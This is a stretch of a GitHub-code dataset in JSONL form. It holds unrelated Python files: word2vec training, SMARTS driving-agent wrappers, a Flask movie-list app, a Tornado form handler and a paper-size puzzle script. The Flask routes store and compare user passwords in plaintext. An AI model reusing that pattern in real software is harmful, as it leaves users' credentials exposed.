1.0))/np.sqrt(embedding_size)#2.6k,embb_dim\r\n\t\tembed = tf.nn.embedding_lookup(embeddings, train_inputs)\r\n\r\n\t\t# Construct the variables for the NCE loss\r\n\t\tnce_weights = tf.Variable(\r\n\t\t\t\ttf.truncated_normal([unique_words, embedding_size],\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tstddev=1.0 / math.sqrt(embedding_size)))\r\n\t\tnce_biases = tf.Variable(tf.zeros([unique_words]))\r\n\t\r\n\tglobal_step = tf.Variable(0, trainable=False)\r\n\tstarter_learning_rate = 1.0\r\n\tlearning_rate = tf.train.natural_exp_decay(starter_learning_rate, global_step,15000, 0.9, staircase= False)\r\n\r\n\tloss = tf.reduce_mean(\r\n\t\t\ttf.nn.nce_loss(weights=nce_weights,\r\n\t\t\t\t\t\t\t\t\t\t biases=nce_biases,\r\n\t\t\t\t\t\t\t\t\t\t labels=train_labels,\r\n\t\t\t\t\t\t\t\t\t\t inputs=embed,\r\n\t\t\t\t\t\t\t\t\t\t num_sampled=num_sampled,\r\n\t\t\t\t\t\t\t\t\t\t num_classes=unique_words))\r\n\r\n\t# Construct the SGD optimizer using a learning rate of 1.0.\r\n\t#optimizer = (tf.train.GradientDescentOptimizer(learning_rate).minimize(loss,global_step = global_step))\r\n\r\n\t# What if we use AdamOptimizer\r\n\toptimizer = (tf.train.AdamOptimizer(learning_rate).minimize(loss,global_step = global_step))\r\n\t\r\n\t# Compute the cosine similarity between minibatch examples and all embeddings.\r\n\tnorm = tf.sqrt(tf.reduce_sum(tf.square(embeddings),\r\n\t 1, keepdims=True)) #keep_dims is deprecated use keepdims instead\r\n\tnormalized_embeddings = embeddings / norm\r\n\tvalid_embeddings = tf.nn.embedding_lookup(\r\n\t\t\tnormalized_embeddings, valid_dataset)\r\n\tsimilarity = tf.matmul(\r\n\t\t\tvalid_embeddings, normalized_embeddings, transpose_b=True)\r\n\t#lr_print = tf.eval(learning_rate,[learning_rate])\r\n\t# Add variable initializer.\r\n\tinit = tf.global_variables_initializer()\r\n\r\n# Step 5: Begin training.\r\nnum_steps = 155001\r\n\r\n## SGD ##\r\n\r\nimport time\r\nstart = time.time()\r\nwith tf.Session(graph=graph) as session:\r\n\t# We must initialize all variables before we use them.\r\n\tinit.run()\r\n\tprint('Initialized')\r\n\r\n\taverage_loss = 0\r\n\tfor step in xrange(num_steps):\r\n\t\tbatch_inputs, batch_labels = generate_batch(\r\n\t\t\t\tbatch_size, num_skips, skip_window)\r\n\t\tfeed_dict = {train_inputs: batch_inputs, train_labels: batch_labels}\r\n\r\n\t\t# We perform one update step by evaluating the optimizer op (including it\r\n\t\t# in the list of returned values for session.run()\r\n\t\t_, loss_val = session.run([optimizer, loss], feed_dict=feed_dict)\r\n\t\taverage_loss += loss_val\r\n\t\tif step % 1000 == 0:\r\n\t\t\tif step > 0:\r\n\t\t\t\taverage_loss /= 1000\r\n\t\t\t__ = float(learning_rate.eval())\r\n\t\t\taverage_loss_ = float(average_loss)\r\n\t\t\tprint(\"\\nAverage loss at step {} : {:.3f}, learning rate = {:.3f}\".format(step,average_loss_,__))\r\n\t\t\t#print('Average loss at step ', step, ': ', average_loss,'learning rate: ',__)\r\n\t\t\taverage_loss = 0\r\n\tfinal_embeddings = normalized_embeddings.eval()\r\nend = time.time()\r\nseconds = end - start\r\nminutes = seconds//60\r\nseconds = seconds % 60\r\nhours = 0\r\nif minutes > 60:\r\n\thours = minutes//60\r\n\tminutes = minutes%60\r\nprint(\"time taken for running the notebook:\\n {0} hours, {1} minutes and {2} seconds\".format(hours,minutes,seconds))\r\n\r\npickle.dump(final_embeddings,open('final_wordEmbeddings','wb'))","repo_name":"sk-g/ASPRI","sub_path":"unsupervised/w2v_rnn.py","file_name":"w2v_rnn.py","file_ext":"py","file_size_in_byte":8220,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"2488583913","text":"import math\nfrom collections import namedtuple\n\nimport numpy as np\n\nfrom .format_obs import formatter\n\n\nclass ObsWrapper:\n \"\"\"\n Transform the default dict obs to numpy obs.\n\n Neighbors(relative to ego)(7-dim each):\n - Position\n - Velocityee\n - Bounding Box\n - Heading\n\n Env(relative to ego)(15-dim each):\n - Position, Heading\n - speed limit\n - width\n - is target lane\n - is goal lane\n - is turnable\n - relative lane index\n \"\"\"\n\n def __init__(self, use_fake_goal_lane=False):\n self.preserved_info_single_agent = namedtuple(\n \"PreservedInfoSingleAgent\",\n [\n \"raw_obs\",\n \"np_obs\",\n \"lane_index\",\n \"all_lane_indeces\",\n \"target_wps\",\n \"speed_limit\",\n \"speed\",\n \"is_on_goal_lane\",\n \"humaness\",\n \"classifier_input\",\n \"is_turnable\",\n \"goal_lane\",\n \"wrapped_obs\",\n ],\n )\n self.preserved_info = None\n self.target_lane_index = None\n\n self.neighbor_info_dim = 5\n self.env_info_dim = 25\n\n self._FAKE_GOAL_LANE_CHG_FREQ = 200\n self._FAKE_GOAL_LANE_COUNTER = 0\n self.fake_goal_lane = 0\n self.use_fake_goal_lane = use_fake_goal_lane\n\n def reset(self):\n self.target_lane_index = None\n self.fake_goal_lane = -1\n self._FAKE_GOAL_LANE_COUNTER = 0\n\n def step(self):\n self._FAKE_GOAL_LANE_COUNTER += 1\n self._update_fake_goal_lane()\n\n def _update_fake_goal_lane(self):\n if self._FAKE_GOAL_LANE_COUNTER == self._FAKE_GOAL_LANE_CHG_FREQ:\n self._FAKE_GOAL_LANE_COUNTER = 0\n self.fake_goal_lane = np.random.randint(0, 4) - 1\n\n def cal_rel_vel(\n self, v1: float, theta1: float, v2: float, theta2: float\n ) -> np.ndarray:\n \"\"\"Calculate v1 relative to v2.\"\"\"\n return np.array(\n [\n -np.sin(theta1) * v1 + np.sin(theta2) * v2,\n np.cos(theta1) * v1 - np.cos(theta2) * v2,\n ]\n )\n\n def cal_rel_heading(self, heading1: float, heading2: float) -> float:\n \"\"\"Calculate heading1 relative to heading2.\"\"\"\n h = heading1 - heading2\n if h > np.pi:\n h -= np.pi\n if h < -np.pi:\n h += np.pi\n return h\n\n def cal_goal_lane(self, np_obs, raw_obs, lane_index, all_lane_indeces):\n goal_lane = np.zeros((3, 3))\n if self.use_fake_goal_lane:\n if self.fake_goal_lane == -1:\n return goal_lane\n goal_lane[:, 0] = (\n self.fake_goal_lane < lane_index + np.array([-1, 0, 1])\n ).astype(np.float32)\n goal_lane[:, 1] = (\n self.fake_goal_lane == lane_index + np.array([-1, 0, 1])\n ).astype(np.float32)\n goal_lane[:, 2] = (\n self.fake_goal_lane > lane_index + np.array([-1, 0, 1])\n ).astype(np.float32)\n return goal_lane\n if not hasattr(raw_obs.ego_vehicle_state.mission.goal, \"position\"):\n return goal_lane\n cos_thetas = np.zeros(4)\n for i in range(4):\n y1 = (\n np_obs[\"waypoint_paths\"][\"pos\"][i, 1][:2]\n - np_obs[\"waypoint_paths\"][\"pos\"][i, 0][:2]\n )\n y2 = (\n np_obs[\"mission\"][\"goal_pos\"][:2]\n - np_obs[\"waypoint_paths\"][\"pos\"][i, 0][:2]\n )\n if np.linalg.norm(y2) <= 0.2 or np.linalg.norm(y1) <= 0.2:\n continue\n cos_thetas[i] = abs(y1 @ y2 / np.sqrt(y1 @ y1 * y2 @ y2))\n if cos_thetas.max() > 1 - 0.0001:\n l = all_lane_indeces[cos_thetas.argmax()]\n goal_lane[:, 0] = (l < lane_index + np.array([-1, 0, 1])).astype(np.float32)\n goal_lane[:, 1] = (l == lane_index + np.array([-1, 0, 1])).astype(\n np.float32\n )\n goal_lane[:, 2] = (l > lane_index + np.array([-1, 0, 1])).astype(np.float32)\n return goal_lane\n\n def observation(self, obs):\n raw_obs, np_obs = obs, formatter(obs)\n\n # ego_vehicle_state\n pos = np_obs[\"ego_vehicle_state\"][\"pos\"][:2]\n heading = np_obs[\"ego_vehicle_state\"][\"heading\"]\n speed = np_obs[\"ego_vehicle_state\"][\"speed\"]\n lane_index = np_obs[\"ego_vehicle_state\"][\"lane_index\"]\n jerk_linear = np.linalg.norm(np_obs[\"ego_vehicle_state\"][\"linear_jerk\"])\n jerk_angular = np.linalg.norm(np_obs[\"ego_vehicle_state\"][\"angular_jerk\"])\n humaness = jerk_linear + jerk_angular\n rotate_M = np.array(\n [[np.cos(heading), np.sin(heading)], [-np.sin(heading), np.cos(heading)]]\n )\n\n all_lane_indeces = np_obs[\"waypoint_paths\"][\"lane_index\"][:, 0]\n all_lane_speed_limit = np_obs[\"waypoint_paths\"][\"speed_limit\"][:, 0].reshape(\n 4, 1\n )\n all_lane_width = np_obs[\"waypoint_paths\"][\"lane_width\"][:, 0].reshape(4, 1)\n all_lane_position = np_obs[\"waypoint_paths\"][\"pos\"][:, :, :2].reshape(4, 20, 2)\n all_lane_heading = np_obs[\"waypoint_paths\"][\"heading\"][:, :].reshape(4, 20)\n\n all_lane_rel_position = (\n (all_lane_position.reshape(-1, 2) - pos.reshape(1, 2)) @ rotate_M.T\n ).reshape(4, 20, 2)\n all_lane_rel_heading = all_lane_heading - heading\n all_lane_rel_heading[np.where(all_lane_rel_heading > np.pi)] -= np.pi\n all_lane_rel_heading[np.where(all_lane_rel_heading < -np.pi)] += np.pi\n\n if lane_index not in all_lane_indeces:\n lane_index = all_lane_indeces[0]\n if (self.target_lane_index == None) or (\n self.target_lane_index not in all_lane_indeces\n ):\n self.target_lane_index = lane_index\n\n # Env Info\n st = [0] * 3\n\n EnvInfo_is_turnable = np.zeros((3, 1))\n if lane_index - 1 in all_lane_indeces:\n EnvInfo_is_turnable[0] = 1.0\n st[0] = np.where(all_lane_indeces == lane_index - 1)[0][0].item()\n if lane_index + 1 in all_lane_indeces:\n EnvInfo_is_turnable[2] = 1.0\n st[2] = np.where(all_lane_indeces == lane_index + 1)[0][0].item()\n EnvInfo_is_turnable[1] = 1.0\n st[1] = np.where(all_lane_indeces == lane_index)[0][0].item()\n speed_limit = all_lane_speed_limit[st[1]]\n\n EnvInfo_rel_pos_heading = np.zeros((3, 15))\n EnvInfo_rel_pos_heading_classifier = np.zeros((3, 60))\n EnvInfo_speed_limit = np.zeros((3, 1))\n EnvInfo_width = np.zeros((3, 1))\n for i in range(3):\n if (i == 0 and EnvInfo_is_turnable[0] == 0) or (\n i == 2 and EnvInfo_is_turnable[1] == 0\n ):\n continue\n EnvInfo_rel_pos_heading[i, :10] = all_lane_rel_position[st[i]][\n :5, :\n ].reshape(\n 10,\n )\n EnvInfo_rel_pos_heading[i, 10:] = all_lane_rel_heading[st[i]][:5].reshape(\n 5,\n )\n EnvInfo_rel_pos_heading_classifier[i, :40] = all_lane_rel_position[\n st[i]\n ].reshape(\n 40,\n )\n EnvInfo_rel_pos_heading_classifier[i, 40:] = all_lane_rel_heading[\n st[i]\n ].reshape(\n 20,\n )\n EnvInfo_speed_limit[i] = all_lane_speed_limit[st[i]]\n EnvInfo_width[i] = all_lane_width[st[i]]\n\n EnvInfo_is_target = np.zeros((3, 1))\n if self.target_lane_index < lane_index:\n EnvInfo_is_target[0] = 1.0\n elif self.target_lane_index > lane_index:\n EnvInfo_is_target[2] = 1.0\n else:\n EnvInfo_is_target[1] = 1.0\n\n EnvInfo_is_goal = self.cal_goal_lane(\n np_obs, raw_obs, lane_index, all_lane_indeces\n ).reshape(3, 3)\n is_on_goal_lane = EnvInfo_is_goal[1, 1]\n\n EnvInfo_index = np.eye(3).reshape(3, 3)\n\n EnvInfo = np.concatenate(\n [\n EnvInfo_rel_pos_heading, # 15\n EnvInfo_speed_limit, # 1\n EnvInfo_width, # 1\n EnvInfo_is_target, # 1\n EnvInfo_is_goal, # 3\n EnvInfo_is_turnable, # 1\n EnvInfo_index, # 3\n ],\n -1,\n ).astype(np.float32)\n\n EnvInfo_classifier = np.concatenate(\n [\n EnvInfo_rel_pos_heading_classifier, # 60\n EnvInfo_speed_limit, # 1\n EnvInfo_width, # 1\n EnvInfo_is_target, # 1\n EnvInfo_is_goal, # 3\n EnvInfo_is_turnable, # 1\n EnvInfo_index, # 3\n ],\n -1,\n ).astype(np.float32)\n\n # Neighbor Info\n\n neighbors_pos = np_obs[\"neighborhood_vehicle_states\"][\"pos\"][:, :2]\n neighbors_speed = np_obs[\"neighborhood_vehicle_states\"][\"speed\"]\n neighbors_heading = np_obs[\"neighborhood_vehicle_states\"][\"heading\"]\n\n neighbors_rel_vel = np.empty((10, 2))\n neighbors_rel_vel[:, 0] = (\n -np.sin(neighbors_heading) * neighbors_speed + np.sin(heading) * speed\n )\n neighbors_rel_vel[:, 1] = (\n np.cos(neighbors_heading) * neighbors_speed - np.cos(heading) * speed\n )\n\n nb_mask = np.all(neighbors_pos == 0, -1).reshape(10, 1).astype(np.float32)\n neighbors_pos += nb_mask * 200.0\n\n neighbors_dist = np.sqrt(((neighbors_pos - pos) ** 2).sum(-1))\n st = np.argsort(neighbors_dist)[:5]\n\n NeighborInfo_rel_pos = (neighbors_pos[st] - pos) @ rotate_M.T\n NeighborInfo_rel_vel = (neighbors_rel_vel[st]) @ rotate_M.T\n NeighborInfo_rel_heading = (neighbors_heading - heading)[st].reshape(5, 1)\n NeighborInfo_rel_heading[np.where(NeighborInfo_rel_heading > np.pi)] -= np.pi\n NeighborInfo_rel_heading[np.where(NeighborInfo_rel_heading < -np.pi)] += np.pi\n # NeighborInfo_boundingbox = np_obs[\"neighbors\"][\"box\"][st, :2]\n\n NeighborInfo = np.concatenate(\n [\n NeighborInfo_rel_pos, # 2\n NeighborInfo_rel_vel, # 2\n NeighborInfo_rel_heading, # 1\n # NeighborInfo_boundingbox, # 2\n ],\n -1,\n ).astype(np.float32)\n\n # preserved_info\n wp_mask = (\n np.abs(np.all(np_obs[\"waypoint_paths\"][\"pos\"][:, :4] == 0, -1) - 1)\n .sum(1)\n .reshape(4, 1)\n )\n target_wps = np_obs[\"waypoint_paths\"][\"pos\"][:, :4, :].sum(1) / (wp_mask + 1e-8)\n\n self.preserved_info = self.preserved_info_single_agent(\n raw_obs=raw_obs,\n lane_index=lane_index,\n all_lane_indeces=all_lane_indeces,\n target_wps=target_wps,\n speed_limit=speed_limit,\n np_obs=np_obs,\n is_on_goal_lane=is_on_goal_lane,\n speed=speed,\n humaness=humaness,\n classifier_input=np.concatenate(\n [\n NeighborInfo.reshape(\n -1,\n ), # (5, 5)\n EnvInfo_classifier.reshape(\n -1,\n ), # (3, 70)\n ]\n ), # dim: 235\n is_turnable=EnvInfo_is_turnable,\n goal_lane=EnvInfo_is_goal[1, :],\n wrapped_obs=np.concatenate(\n [\n NeighborInfo.reshape(\n -1,\n ), # (5, 5)\n EnvInfo.reshape(\n -1,\n ), # (3, 19)\n ]\n ),\n )\n\n wrapped_obs = np.concatenate(\n [self.preserved_info.wrapped_obs, self.preserved_info.classifier_input], -1\n )\n\n return wrapped_obs\n\n\nclass EnvWrapper:\n def __init__(self, obs_wrapper):\n self.obs_wrapper = obs_wrapper\n self.time_cost = -1.0\n self.crash_times = 0\n self._rule_stop_cnt = 0\n self._is_on_goal_lane_last = -1\n\n def is_in_safe_box(self, turn_left: bool):\n o = self.obs_wrapper.preserved_info.wrapped_obs\n neighbor_x = o[np.arange(5) * 3]\n neighbor_y = o[np.arange(5) * 3 + 1]\n neighbor_h = o[np.arange(5) * 3 + 4]\n\n for i in range(5):\n if turn_left:\n if (\n (neighbor_x[i] < -1.6 and neighbor_x[i] > -4.0)\n and (abs(neighbor_y)[i] < 3.8)\n and (neighbor_h[i] < 0.05)\n ):\n return False\n else:\n if (\n (neighbor_x[i] > 1.6 and neighbor_x[i] < 4.0)\n and (abs(neighbor_y)[i] < 3.8)\n and (neighbor_h[i] < 0.05)\n ):\n return False\n else:\n return True\n\n def collision_forecast(\n self,\n vehicle_state1,\n vehicle_state2,\n l_front=5,\n l_back=0,\n w_left=1.25,\n w_right=1.25,\n steps=5,\n ):\n v1, v2 = vehicle_state1.speed, vehicle_state2.speed\n theta1, theta2 = (\n vehicle_state1.heading + math.pi / 2,\n vehicle_state2.heading + math.pi / 2,\n )\n v1_vec, v2_vec = v1 * np.array(\n [math.cos(theta1), math.sin(theta1)]\n ), v2 * np.array([math.cos(theta2), math.sin(theta2)])\n init_pos1, init_pos2 = vehicle_state1.position[:2], vehicle_state2.position[:2]\n bound1, bound2 = vehicle_state1.bounding_box, vehicle_state2.bounding_box\n # l1, w1, l2, w2 = bound1.length, bound1.width, bound2.length, bound2.width\n l1, w1, l2, w2 = bound1.length, bound1.width, bound2.length, bound2.width\n l2_vec = l2 / 2 * np.array([math.cos(theta2), math.sin(theta2)])\n w2_vec = w2 / 2 * np.array([math.sin(theta2), -1 * math.cos(theta2)])\n\n l1_front_vec, l1_back_vec = (l1 / 2 + l_front) * np.array(\n [math.cos(theta1), math.sin(theta1)]\n ), (l1 / 2 + l_back) * np.array([math.cos(theta1), math.sin(theta1)])\n w1_left_vec = (w1 / 2 + w_left) * np.array(\n [math.sin(theta1), -1 * math.cos(theta1)]\n )\n w1_right_vec = (w1 / 2 + w_right) * np.array(\n [math.sin(theta1), -1 * math.cos(theta1)]\n )\n\n for step in range(0, steps + 1, 1):\n t = 0.1 * step\n pos1, pos2 = init_pos1 + v1_vec * t, init_pos2 + v2_vec * t\n # calculate bounding points\n bps_1 = [\n pos1 + l1_front_vec - w1_left_vec,\n pos1 + l1_front_vec + w1_right_vec,\n pos1 - l1_back_vec - w1_left_vec,\n pos1 - l1_back_vec + w1_right_vec,\n ]\n bps_2 = [\n pos2 + l2_vec + w2_vec,\n pos2 + l2_vec - w2_vec,\n pos2 - l2_vec + w2_vec,\n pos2 - l2_vec - w2_vec,\n ]\n bps_1_front, bps1_right = bps_1[:2], [bps_1[0], bps_1[2]]\n\n for bp in bps_2:\n if (\n np.dot(bp - bps_1_front[0], bps_1_front[0] - bps_1_front[1])\n * np.dot(bp - bps_1_front[1], bps_1_front[0] - bps_1_front[1])\n <= 0\n and np.dot(bp - bps1_right[0], bps1_right[0] - bps1_right[1])\n * np.dot(bp - bps1_right[1], bps1_right[0] - bps1_right[1])\n <= 0\n ):\n return True\n return False\n\n def reset(self):\n self.crash_times = 0\n self._rule_stop_cnt = 0\n self._is_on_goal_lane_last = -1\n\n def step(self, raw_act):\n wrapped_act = self.pack_action(raw_act)\n return wrapped_act\n\n def cal_collision_r(self, bounding_box):\n return np.sqrt(bounding_box.length**2 + bounding_box.width**2)\n\n def cal_distance(self, pos1, pos2):\n return np.sqrt(((pos1 - pos2) ** 2).sum())\n\n def pack_action(self, action):\n raw_obs = self.obs_wrapper.preserved_info.raw_obs\n all_lane_indeces = self.obs_wrapper.preserved_info.all_lane_indeces\n\n target_wps = self.obs_wrapper.preserved_info.target_wps\n exp_speed = min(self.obs_wrapper.preserved_info.speed_limit, 13.88)\n speed = self.obs_wrapper.preserved_info.speed\n pos = raw_obs.ego_vehicle_state.position[:2]\n heading = raw_obs.ego_vehicle_state.heading - 0.0\n acc = 0\n\n # ? Rule-based stopping condition 1\n dist_min = 2\n collision_r = self.cal_collision_r(raw_obs.ego_vehicle_state.bounding_box)\n lane_id = raw_obs.ego_vehicle_state.lane_id\n for neighbor in raw_obs.neighborhood_vehicle_states:\n if (\n neighbor.lane_id == lane_id\n and neighbor.lane_position.s > raw_obs.ego_vehicle_state.lane_position.s\n ):\n neighbor_dists = np.clip(\n self.cal_distance(pos, neighbor.position[:2])\n - self.cal_collision_r(neighbor.bounding_box)\n - collision_r,\n 0,\n None,\n )\n if neighbor_dists < dist_min:\n dist_min = neighbor_dists\n exp_speed = min(neighbor.speed, exp_speed)\n acc = 1.2\n if dist_min < 0.1:\n action = 9\n\n # ? Rule-based stopping condition 2\n ego = self.obs_wrapper.preserved_info.raw_obs.ego_vehicle_state\n for (\n neighbor\n ) in self.obs_wrapper.preserved_info.raw_obs.neighborhood_vehicle_states:\n if self.collision_forecast(ego, neighbor):\n self._rule_stop_cnt += 1\n if self._rule_stop_cnt >= 5:\n self._rule_stop_cnt = 0\n break\n if action not in [10]:\n exp_speed = 0.0\n acc = 1.2\n break\n # ? Rule-based lane changing condition 3\n else:\n goal_lane = self.obs_wrapper.preserved_info.goal_lane\n if (\n self.obs_wrapper.preserved_info.lane_index\n == self.obs_wrapper.target_lane_index\n and action in [7, 8, 9]\n ):\n if goal_lane[2] and self.is_in_safe_box(True):\n action = 2\n elif goal_lane[0] and self.is_in_safe_box(False):\n action = 5\n\n # keep_lane\n if action in [6, 7, 8, 9, 10]:\n exp_speed *= [0.0, 0.4, 0.7, 1.0, -0.2][action - 6]\n\n # change_lane_left\n elif action in [0, 1, 2]:\n exp_speed *= [0.4, 0.7, 1.0][action - 0]\n if self.obs_wrapper.target_lane_index < all_lane_indeces.max():\n self.obs_wrapper.target_lane_index += 1\n\n # change_lane_right\n elif action in [3, 4, 5]:\n exp_speed *= [0.4, 0.7, 1.0][action - 3]\n if self.obs_wrapper.target_lane_index > 0:\n self.obs_wrapper.target_lane_index -= 1\n\n st = np.where(all_lane_indeces == self.obs_wrapper.target_lane_index)[0][\n 0\n ].item()\n target_wp = target_wps[st][:2]\n\n delta_pos = target_wp - pos\n delta_pos_dist = self.cal_distance(target_wp, pos)\n\n acc = 0.5 if exp_speed > speed else max(0.8, acc)\n # smooth expected speed\n if exp_speed > speed:\n exp_speed = np.clip(exp_speed, None, speed + acc)\n if exp_speed < speed:\n exp_speed = np.clip(exp_speed, speed - acc, None)\n\n exp_heading = np.arctan2(-delta_pos[0], delta_pos[1])\n hc_id = np.abs(2 * np.pi * (np.arange(3) - 1) + exp_heading - heading).argmin()\n exp_heading += (hc_id - 1) * 2 * np.pi\n heading = np.clip(exp_heading, heading - 0.15, heading + 0.15)\n new_pos = pos + delta_pos / delta_pos_dist * min(exp_speed, 13.88) * 0.1\n wrapped_act = np.concatenate([new_pos, [heading, 0.1]])\n\n return wrapped_act\n","repo_name":"smarts-project/smarts-project.rl","sub_path":"discrete_soft_actor_critic/discrete_soft_actor_critic/wrappers.py","file_name":"wrappers.py","file_ext":"py","file_size_in_byte":20145,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"19"} +{"seq_id":"23440918518","text":"# Used to specify back-end routing functions\nfrom server import app\nfrom server.helpers import render_page\nfrom server.models import User, Movie, db_session\nfrom flask import request, jsonify\nfrom flask_login import LoginManager, login_user, login_required, logout_user, current_user\nfrom imdb import Cinemagoer\nfrom datetime import datetime\nimport json\n\nprint(\"Routes running successfully...\")\n\nlogin_manager = LoginManager()\nlogin_manager.init_app(app)\n\n@login_manager.user_loader\ndef load_user(username):\n return db_session.query(User).filter_by(id=username).first()\n\n@app.route('/reg', methods=['GET','POST'])\ndef registration():\n username = json.loads(request.data.decode(\"utf-8\"))['username']\n password = json.loads(request.data.decode(\"utf-8\"))['password']\n \n user_exists = db_session.query(User).filter_by(id=username).first()\n if user_exists:\n return jsonify(\"1\")\n\n new_user = User(id=username, password=password, movie_ids='')\n db_session.add(new_user)\n db_session.commit()\n\n return jsonify(\"0\")\n\n@app.route('/login', methods=['GET','POST'])\ndef login():\n username = json.loads(request.data.decode(\"utf-8\"))['username']\n password = json.loads(request.data.decode(\"utf-8\"))['password']\n\n user_exists = db_session.query(User).filter_by(id=username).first()\n if user_exists:\n if user_exists.password != password:\n return jsonify(\"1\")\n else:\n return jsonify(\"1\")\n \n login_user(user_exists)\n\n print(\"1.\", current_user.is_authenticated)\n\n return jsonify(username)\n\n@app.route('/logout', methods=['GET','POST'])\n@login_required\ndef logout():\n logout_user()\n return jsonify(\"0\")\n\n@app.route('/add', methods=['GET','POST'])\n@login_required\ndef add_movie():\n ia = Cinemagoer()\n\n movie_query = ia.search_movie(json.loads(request.data.decode(\"utf-8\"))['movie'])\n\n movie_exists_in_db = db_session.query(Movie).filter_by(movie_id=movie_query[0].movieID).first()\n\n if not movie_exists_in_db:\n\n movie = ia.get_movie(movie_query[0].movieID)\n\n directors = []\n\n for element in movie['directed by']:\n directors.append(element['name'])\n\n for element in (ia.get_movie_release_dates(movie_query[0].movieID)['data']['raw release dates']):\n if element['country_code'] == 'US':\n release_date = element['date']\n\n try:\n release_date_datetime_object = datetime.strptime(release_date, \"%d %B %Y\")\n release_date_string = release_date_datetime_object.strftime(\"%m/%d/%Y\")\n except ValueError:\n try:\n release_date_datetime_object = datetime.strptime(release_date, \"%B %Y\")\n release_date_string = release_date_datetime_object.strftime(\"%m/01/%Y\")\n except ValueError:\n release_date_datetime_object = datetime.strptime(release_date, \" %Y\")\n release_date_string = release_date_datetime_object.strftime(\"01/01/%Y\")\n\n\n new_movie = Movie(\n movie_id=movie_query[0].movieID, \n title=movie['title'], \n directors=','.join(directors), \n cover_url = movie['full-size cover url'], \n plot_summary=movie['plot summary'][0],\n release_date = release_date_string\n )\n\n db_session.add(new_movie)\n db_session.commit()\n \n\n update_user = db_session.query(User).filter_by(id=current_user.id).first()\n current_movie_ids = update_user.movie_ids\n current_movie_ids_list = current_movie_ids.split(',')\n if not movie_query[0].movieID in current_movie_ids_list:\n current_movie_ids_list.append(movie_query[0].movieID)\n current_movie_ids_string = ','.join(current_movie_ids_list)\n update_user.movie_ids = current_movie_ids_string\n db_session.commit()\n\n return render_page(current_user, db_session)\n\n\n@app.route('/display', methods=['GET','POST'])\n@login_required\ndef return_movies():\n return render_page(current_user, db_session)\n\n@app.route('/delete', methods=['GET','POST'])\n@login_required\ndef delete_movie():\n deletion_id = json.loads(request.data.decode(\"utf-8\"))['movie_id']\n current_user_lg = db_session.query(User).filter_by(id=current_user.id).first()\n current_user_movies = current_user_lg.movie_ids\n current_user_movies_list = current_user_movies.split(',')\n index_to_delete = 0\n for i in range(len(current_user_movies_list)):\n print(current_user_movies_list[i])\n if current_user_movies_list[i] == deletion_id:\n index_to_delete = i\n break\n current_user_movies_list.pop(index_to_delete)\n current_user_movies_ids_string = ','.join(current_user_movies_list)\n print(current_user_movies_ids_string)\n current_user_lg.movie_ids = current_user_movies_ids_string\n db_session.commit()\n\n return render_page(current_user, db_session)\n\n \n\n\n\n\n\n\n\n\n","repo_name":"Hasad1203/MovieTimeLine","sub_path":"server/server/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":4901,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"16452548861","text":"#!/usr/bin/env python\n# _*_ coding:utf-8 _*_\nimport tornado.web\nimport tornado.ioloop\nfrom form_check.forms import account\nfrom form_check.utils import response\n\n\nclass Indexhandler(tornado.web.RequestHandler): # 继承类RequestHandler\n def get(self, *args, **kwargs):\n self.render(\"index.html\")\n\n def post(self, *args, **kwargs):\n obj = account.RegisterForm()\n rep= response.BaseResponse()\n if obj.valid(self):\n print(obj._value_dict)\n rep.status = True\n else:\n print(obj._error_dict)\n rep.message['error'] =\"错误\"\n print(rep.__dict__)\nsettings = {\n \"template_path\": \"views\", # 模板路径的配置\n \"static_path\": \"static\", # 静态文件的位置\n 'static_url_prefix': '/statics/', # 静态文件地址别名\n\n}\n# 路由映射,路由系统\napplication = tornado.web.Application([(r\"/index\", Indexhandler)], **settings) # 创建一个对象\n\nif __name__ == \"__main__\":\n application.listen(8000)\n tornado.ioloop.IOLoop.instance().start()\n","repo_name":"nmap1208/oldboy","sub_path":"form_check/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":1057,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"12166682057","text":"total_size=int(input())\na=list(map(int,input().split()))\nlist2=[0.594603557501, 0.420448207626]\ndo=total_size-3\ns=0\nr=1\ncount=0\nfor d in range(do):\n x=list2[s]\n y=list2[r]\n count=count+1\n if(d%2==0):\n p=x/2\n list2.append(p)\n elif(d%2!=0):\n q=y/2\n list2.append(q)\n if(count==2):\n s=s+2\n r=r+2\n count=0\ntape=0.594603557501\nfor j in reversed(a):\n index1=a.index(j)\n index2=index1-1\n if(j>1):\n j=j//2\n f=list2[index1]*j\n tape=tape+f\n a[index2]+=j\n a[index1]=0\n if(a[0]==2):\n break\nif(a[0]>=2):\n print(tape)\nelse:\n print('impossible')\n","repo_name":"sbaskaran08/A1-Paper","sub_path":"a1paper.py","file_name":"a1paper.py","file_ext":"py","file_size_in_byte":657,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"30133063032","text":"'''OpenGL extension EXT.paletted_texture\n\nOverview (from the spec)\n\t\n\tEXT_paletted_texture defines new texture formats and new calls to\n\tsupport the use of paletted textures in OpenGL. A paletted texture is\n\tdefined by giving both a palette of colors and a set of image data which\n\tis composed of indices into the palette. The paletted texture cannot\n\tfunction properly without both pieces of information so it increases the\n\twork required to define a texture. This is offset by the fact that the\n\toverall amount of texture data can be reduced dramatically by factoring\n\tredundant information out of the logical view of the texture and placing\n\tit in the palette.\n\t\n\tPaletted textures provide several advantages over full-color textures:\n\t\n\t* As mentioned above, the amount of data required to define a\n\ttexture can be greatly reduced over what would be needed for full-color\n\tspecification. For example, consider a source texture that has only 256\n\tdistinct colors in a 256 by 256 pixel grid. Full-color representation\n\trequires three bytes per pixel, taking 192K of texture data. By putting\n\tthe distinct colors in a palette only eight bits are required per pixel,\n\treducing the 192K to 64K plus 768 bytes for the palette. Now add an\n\talpha channel to the texture. The full-color representation increases\n\tby 64K while the paletted version would only increase by 256 bytes.\n\tThis reduction in space required is particularly important for hardware\n\taccelerators where texture space is limited.\n\t\n\t* Paletted textures allow easy reuse of texture data for images\n\twhich require many similar but slightly different colored objects.\n\tConsider a driving simulation with heavy traffic on the road. Many of\n\tthe cars will be similar but with different color schemes. If\n\tfull-color textures are used a separate texture would be needed for each\n\tcolor scheme, while paletted textures allow the same basic index data to\n\tbe reused for each car, with a different palette to change the 